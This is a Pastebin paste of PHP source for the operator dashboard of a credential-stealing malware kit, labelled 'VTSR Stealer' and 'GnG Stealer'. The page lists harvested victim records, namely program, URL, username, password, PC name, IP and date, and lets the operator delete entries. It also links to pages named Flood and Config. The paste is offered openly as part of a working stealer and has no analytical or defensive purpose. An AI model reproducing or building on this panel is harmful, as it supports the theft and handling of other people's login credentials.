sakiir

index

Apr 27th, 2014
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.48 KB | None | 0 0
  1. <?php
  2.                                     /************************************************
  3.                                     *       < -- VelupsA TistO SakiiR RegencY -- >  *
  4.                                     *           VTSR Stealer ( C++ / C# / PHP )     *
  5.                                     ************************************************/
  6. session_start();
  7. include_once("etc/function.php");
  8. include_once("inc/bdd.php");
  9.  
  10. function pages_number($nbMax)
  11. {
  12.     $result = mysql_query('SELECT COUNT(*) AS number FROM logs') or die('Failed TO send Query');
  13.     $data = mysql_fetch_array($result);
  14.     $nbLogs = $data['number'];
  15.     $nbPage = ceil($nbLogs / $nbMax);
  16.     return $nbPage;
  17. }
  18.  
  19.  
  20. if(!isset($_SESSION['username']))
  21. {
  22.     redire("login.php");
  23. }
  24.  
  25.  
  26.  
  27. if(isset($_POST["sel"]) && count($_POST["sel"]) != 0)
  28. {
  29.                 $query = "DELETE FROM `logs` WHERE";
  30.                 for ($i=0; $i<count($_POST["sel"]); $i++)
  31.                 {
  32.                     if (is_numeric($_POST["sel"][$i]))
  33.                     {
  34.                         $query .= " `id` = ".$_POST["sel"][$i]." OR";
  35.                     }
  36.                 }
  37.                 $query .= ';';
  38.                 $query = str_replace(' OR;', ';', $query);
  39.                 mysql_query($query);
  40. }
  41.  
  42. if(isset($_GET['id']))
  43. {
  44.  
  45.     if(is_numeric($_GET['id']))
  46.     {
  47.         $res = mysql_query("SELECT COUNT(*) FROM logs");
  48.         $element_total = mysql_result($res, 0);
  49.         $nbPageMax = 10;
  50.         $num = $nbPageMax * $_GET['id'];
  51.        
  52.         $nbPage = pages_number($nbPageMax);
  53.     }else redire("index.php?id=0");
  54. }else redire("index.php?id=0");
  55. ?>
  56.  
  57. <!doctype html>
  58. <html lang="fr">
  59. <head>
  60.  
  61.   <title>GnG Stealer</title>
  62.   <link rel="stylesheet" href="css/style.css">
  63.   <link rel="stylesheet" href="css/menu.css">
  64. <script>
  65.                 function checkAll()
  66.                 {
  67.                     chk = document.getElementsByName("sel[]");
  68.                     for (i = 0; i<chk.length; i++)
  69.                     {
  70.                         if (document.checkboxes.elements["check_all"].checked)
  71.                         {
  72.                             chk[i].checked = true;
  73.                         }else
  74.                         {      
  75.                             chk[i].checked = false;
  76.                         }
  77.                     }
  78.                 }
  79. </script>
  80.  
  81. </head>
  82. <body>
  83.     <div id="title">GnG Stealer</div>
  84.    
  85.     <center>
  86.     <div class='ribbon'>
  87.         <a href='index.php'><span>Logs</span></a>
  88.         <a href='search.php?id=1'><span>Search</span></a>
  89.         <a href='flood.php'><span>Flood</span></a>
  90.         <a href='config.php'><span>Config</span></a>
  91.         <a href='about.php'><span>About</span></a>
  92.         <a href='logout.php'><span>Logout</span></a>
  93.     </div>
  94.     </center>
  95.     <br/>
  96.     <hr color="#A6A5AD"/>
  97.     <br/>
  98.    
  99. <center>
  100.     <form name ="checkboxes"method="POST" action="">
  101.     <table>
  102.     <tr>
  103.         <th>Program</th>
  104.         <th>URL</th>
  105.         <th>Username</th>
  106.         <th>Password</th>
  107.         <th>PC</th>
  108.         <th>Date</th>
  109.         <th>IP</th>
  110.         <th>Delete ?<br/><input type='checkbox' name='check_all' onClick='checkAll();'></th>
  111.     </tr>
  112.    
  113.     <?php
  114.         $res = mysql_query("SELECT * FROM logs ORDER BY id DESC LIMIT ".$num.",".$nbPageMax." ");
  115.         $i = 0;
  116.         while($data = mysql_fetch_array($res))
  117.         {
  118.             echo "<tr>";
  119.             echo "<td><img src='images/".$data["program"].".png'/></td>";
  120.             echo "<td><a href='".$data["url"]."'>".$data["url"]."</a></td>";
  121.             echo "<td>".$data["username"]."</td>";
  122.             echo "<td>".$data["password"]."</td>";
  123.             echo "<td>".$data["pc"]."</td>";
  124.             echo "<td>".$data["date"]."</td>";
  125.             echo "<td>".$data["ip"]."</td>";
  126.             echo "<td><input type='checkbox' name='sel[]' value='".$data["id"]."'></td>";
  127.             $i = $i + 1;
  128.         }
  129.         if($i==0) echo "<span class='no_logs'>No Logs</span>";
  130.     ?>
  131.     </table>
  132.     <input type="submit" name="submit" value="Delete Selected"/>
  133.     </form>
  134.     <br/>
  135.     <?php
  136.          $i=0;
  137.          while($i < $nbPage)
  138.          {
  139.              echo "<a class='page' href='index.php?id=$i'>$i</a>";
  140.              $i++;
  141.          }
  142.     ?>
  143.     <br/>    <br/><br/>
  144. </center>
  145.  
  146.     <noscript>
  147. </body>
  148. </html>
Advertisement
Add Comment
Please, Sign In to add comment